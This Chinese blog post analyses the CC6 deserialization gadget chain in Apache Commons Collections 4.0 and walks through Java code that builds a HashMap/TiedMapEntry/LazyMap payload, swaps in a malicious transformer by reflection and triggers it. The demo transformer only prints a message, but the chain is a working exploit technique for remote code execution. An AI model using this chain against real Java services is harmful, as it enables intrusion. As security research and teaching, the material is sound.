当前位置: 首页 > news >正文

CC6_TiedMapEntry 链反序列化

CC6_TiedMapEntry 链反序列化

前言

import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC6Demo {public static void main(String[] args) throws Exception {// 1. 构造 ChainedTransformer 链,打印信息验证漏洞触发ChainedTransformer chain = new ChainedTransformer(new org.apache.commons.collections4.Transformer[]{new ConstantTransformer(System.class),new InvokerTransformer("getField", new Class[]{String.class}, new Object[]{"out"}),new InvokerTransformer("get", new Class[]{Object.class}, new Object[]{null}),new InvokerTransformer("println", new Class[]{String.class}, new Object[]{"CC6 反序列化漏洞触发成功!"})});// 2. 先创建 LazyMap,使用无害的 factoryMap<Object, Object> lazyMap = LazyMap.lazyMap(new HashMap<>(), new ConstantTransformer(1));// 3. 创建 TiedMapEntry,将 key 设置为任意值TiedMapEntry entry = new TiedMapEntry(lazyMap, "test");// 4. 创建 HashMap 并 put entryMap<Object, Object> hashMap = new HashMap<>();hashMap.put(entry, "value");// 5. 反射修改 lazyMap 的 factory 为恶意的 chainField factoryField = LazyMap.class.getDeclaredField("factory");factoryField.setAccessible(true);factoryField.set(lazyMap, chain);// 6. 清除 LazyMap 内部缓存,确保反序列化时键不存在// 注意:LazyMap 继承自 AbstractMapDecorator,内部 map 字段在父类中Field mapField = LazyMap.class.getSuperclass().getDeclaredField("map");mapField.setAccessible(true);Map<?, ?> innerMap = (Map<?, ?>) mapField.get(lazyMap);innerMap.clear();System.out.println("已清除 LazyMap 内部缓存");// 验证 factory 是否已正确设置Object factory = factoryField.get(lazyMap);System.out.println("LazyMap factory 类型: " + factory.getClass().getName());// 7. 序列化ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(hashMap);oos.close();System.out.println("序列化完成,字节长度: " + baos.size());// 8. 反序列化,触发漏洞System.out.println("反序列化开始...");ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());ObjectInputStream ois = new ObjectInputStream(bais);Object obj = ois.readObject();ois.close();System.out.println("反序列化完成: " + obj);// 9. 验证漏洞触发链System.out.println("\n=== 验证漏洞触发链 ===");// 创建新的 LazyMap 和 TiedMapEntry 来验证触发链Map<Object, Object> newLazyMap = LazyMap.lazyMap(new HashMap<>(), chain);TiedMapEntry newEntry = new TiedMapEntry(newLazyMap, "test2");System.out.println("触发 TiedMapEntry.hashCode()...");newEntry.hashCode();System.out.println("\n=== 漏洞触发链验证完成 ===");}
}

这是本次分析CC6反序列化所需要的代码

这个链子和CC1 LazyMap有什么区别?

LazyMap链依赖 AnnotationInvocationHandler 在反序列化时遍历成员变量触发 LazyMap.get(),但该入口在 JDK 8u71 后被修复,导致链失效;而 CC6 改用 HashMap 反序列化时自动计算 TiedMapEntryhashCode(),进而调用 LazyMap.get(),不依赖特定 JDK 版本,兼容性更好,但需要在构造时额外通过反射删除 LazyMap 中已缓存的 key,以确保反序列化时能触发factory.transform()

入口出发点

CC1 (LazyMap)入口是 AnnotationInvocationHandlerreadObject

CC6 入口是 HashMapreadObject,通过 TiedMapEntry 作为桥梁。

Gadget Chain

HashMap.readObject()-> HashMap.hash(key)-> TiedMapEntry.hashCode()-> TiedMapEntry.getValue()-> LazyMap.get(key)-> factory.transform(key)      // 此处触发恶意 Transformer-> ChainedTransformer.transform()-> ConstantTransformer-> InvokerTransformer...-> 命令执行

环境说明

JDK 版本 :JDK 1.8.0_65
Commons Collections 版本 :4.0

漏洞分析

第一层

ChainedTransformer chain = new ChainedTransformer(new org.apache.commons.collections4.Transformer[]{new ConstantTransformer(System.class),new InvokerTransformer("getField", new Class[]{String.class}, new Object[]{"out"}),new InvokerTransformer("get", new Class[]{Object.class}, new Object[]{null}),new InvokerTransformer("println", new Class[]{String.class}, new Object[]{"CC6 反序列化漏洞触发成功!"})
});

此处和CC1的是一样的就不过多赘述了。

第二层

// 2. 先创建 LazyMap,使用无害的 factory
Map<Object, Object> lazyMap = LazyMap.lazyMap(new HashMap<>(), new ConstantTransformer(1));// 3. 创建 TiedMapEntry,将 key 设置为任意值
TiedMapEntry entry = new TiedMapEntry(lazyMap, "test");// 4. 创建 HashMap 并 put entry
Map<Object, Object> hashMap = new HashMap<>();
hashMap.put(entry, "value");

这里就是CC6相比CC1的最精妙的改动,这里加入了TiedMapEntry构造一种延迟触发的策略,用来欺骗本地JVM,防止 Payload 还没构造完成就触发了恶意代码。

为什么这么说呢让我们来梳理一下

我们首先回顾一下在 CC1(LazyMap 链)中,我们构造 Payload 时通常先创建 LazyMap,然后将其交给 AnnotationInvocationHandler,最后序列化。这个过程不会意外触发 LazyMap.get(),因为 AnnotationInvocationHandler 的构造和序列化都不需要调用 get

但是如果我们CC6改用了 HashMap 作为入口

// 若直接使用恶意 factory,构造时就会触发命令
Map<Object, Object> lazyMap = LazyMap.lazyMap(new HashMap<>(), chain); // 恶意链
TiedMapEntry entry = new TiedMapEntry(lazyMap, "test");
Map<Object, Object> hashMap = new HashMap<>();
hashMap.put(entry, "value"); // 这里会立即执行命令

HashMap 需要确定将 entry 这个键放在哪个桶里,所以必须先调用 entry.hashCode() 来获取哈希值。

我们来看一下hashCode() 方法的定义

public int hashCode() {final Object value = getValue();return (getKey() == null ? 0 : getKey().hashCode()) ^(value == null ? 0 : value.hashCode());}

但是 getValue() 方法是这样的

public Object getValue() {return map.get(key);
}

所以 hashCode() 实际会调用 map.get(key),这里的 map 就是你传入的 LazyMapkey 就是构造 TiedMapEntry 时指定的内容。

hashMap.put(entry, "value")→ entry.hashCode()→ entry.getValue()→ lazyMap.get("test")→ 如果 "test" 不在缓存中,调用 factory.transform("test")→ 若 factory 是 ChainedTransformer,则执行命令

第三层

// 5. 反射修改 lazyMap 的 factory 为恶意的 chain
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chain);// 6. 清除 LazyMap 内部缓存,确保反序列化时键不存在
// 注意:LazyMap 继承自 AbstractMapDecorator,内部 map 字段在父类中
Field mapField = LazyMap.class.getSuperclass().getDeclaredField("map");
mapField.setAccessible(true);
Map<?, ?> innerMap = (Map<?, ?>) mapField.get(lazyMap);
innerMap.clear();   // 清空所有缓存,包括 key "test"
System.out.println("已清除 LazyMap 内部缓存");// 验证 factory 是否已正确设置
Object factory = factoryField.get(lazyMap);
System.out.println("LazyMap factory 类型: " + factory.getClass().getName());

这一段主要的作用是通过反射将ChainedTransformer替换掉原先为了防止意外发生的 factory ,并且清除了缓存。

为什么要清除缓存呢?

让我们回看代码

public Object get(Object key) {// 检查底层的 Map 缓存里是否已经有了这个 keyif (map.containsKey(key) == false) {// 【关键点】只有不存在时,才会调用 factory 里的 Transformer!Object value = factory.transform(key); map.put(key, value); // 然后把结果存进去,下次就不调了return value;}// 如果 key 已经存在,直接返回缓存里的值,不执行 transformreturn map.get(key);
}

这里是LazyMap 内部的源码逻辑,重点在于Map内部为空的时候我们的整套攻击链子才能实现,但是我们之前的代码出现了问题。

Map<Object, Object> hashMap = new HashMap<>();
hashMap.put(entry, "value");

这里产生了一系列的连锁反应

1.HashMap 调用 entry.hashCode()

2.entry 调用 lazyMap.get("test")

3.lazyMap 发现没有 "test",于是调用了当时那个无害的 ConstantTransformer(1)

最终我们会发现lazyMap内部的Map存入了一个键值对:{"test": 1}。。如果不清除缓存,在服务器发序列化的时候,由于Map内部已经存在test所以就不会在调用ChainedTransformer了。

灵魂思考

1. 问题:HashMap.readObjectTiedMapEntry.hashCode 的行为在不同 JDK 版本中是否存在细微差异?

2. 问题:HashMap.readObject 究竟是如何处理每个键的?如果键是其他对象,也会调用其 hashCode 吗?

3. 问题:清除了 LazyMap 内部的 Map,但 TiedMapEntry 对象已经序列化,它的 keymap 引用是如何保存的?

3.1 追问:反序列化后这些引用是否还指向同一个 LazyMap 实例?如果没有 innerMap.clear(),反序列化时还会触发命令吗?

4.为什么不能一开始就直接用 ChainedTransformer 作为 factory?非要先用无害 factory,put 之后再反射替换?

http://www.jsqmd.com/news/828455/

相关文章:

  • 2026年宁波名包名表黄金一站式回收攻略——五家门店深度解析 - 宁波早知道
  • 【Flutter for OpenHarmony 跨平台征文】Flutter 血压数据模型设计 + WHO标准分类算法实战指南
  • 3步重构你的设计到动画工作流:从Figma到After Effects的无缝转换
  • 别再手动绕田了!用Python+Google Earth Pro搞定农田边界KML文件(附完整代码)
  • 别再到处找3D模型了!用AD17自带的3D Body,5分钟搞定一个简易PCB封装
  • Claude代码系统提示词:提升AI编程效率的工程化实践
  • GEE实战指南:从数据导出到本地分析,掌握SHP与CSV的Export全流程
  • 2026西安黄金回收避坑指南:亲历者实测七家商家,告诉你哪些套路最常见 - 西安闲转记
  • SWMM建模第一步:用PHPStudy环境手把手教你画第一个排水网络(附常见绘图错误排查)
  • 基于Puppeteer与GPT的微信AI助手:从自动化到智能回复的完整实现
  • 终极MifareOneTool使用指南:如何零基础玩转MIFARE经典卡的Windows图形化神器
  • 工厂、贸易公司、小作坊怎么区分?一张对照表 + 9 类可识别信号
  • Python实战:从时序数据到ARIMA预测的完整建模指南
  • 【技术解析】Android FBE 密钥管理:从内核密钥环到用户解锁的密钥生命周期
  • 通达信缠论插件ChanlunX:5分钟实现专业缠论分析的终极指南
  • 5分钟搭建专业FiveM服务器:txAdmin终极管理平台完全指南
  • 保姆级教程:NXP S32K14X的AUTOSAR MCAL开发环境搭建(含EB tresos Studio 4.3安装与避坑指南)
  • Hermes Agent工具连接Taotoken的详细配置步骤与要点
  • D2RML终极指南:暗黑2重制版一键多开神器,效率提升400%
  • 告别裸机延时!ESP32-C3/ESP32-S3用RMT外设精准驱动WS2812B灯带(Arduino/IDF双平台教程)
  • 从电赛A题到实战:手把手教你搞定SPWM控制的单相交流电子负载(附完整电路图)
  • CircuitJS1 Desktop Mod:跨平台离线电路仿真软件的终极指南
  • 构建本地化AI编程助手:开源LLM与Cursor编辑器深度集成指南
  • 5分钟掌握百度网盘高速下载神器:完全免费的开源解析工具终极指南
  • WinDirStat:Windows磁盘空间分析与清理的终极解决方案
  • MySQL 零基础安装教程(Windows11/10,图文分步,新手零失败)
  • 母线差动保护中的“双保险”:大差与小差协同与比率制动系数自适应策略
  • 终极神界原罪2模组管理器:如何快速解决模组冲突问题
  • 数据结构第6章树和二叉树:课后习题全解析(选择题+填空题+综合题+算法设计题)
  • 为什么开源PCB查看器正在改变硬件工程师的工作方式?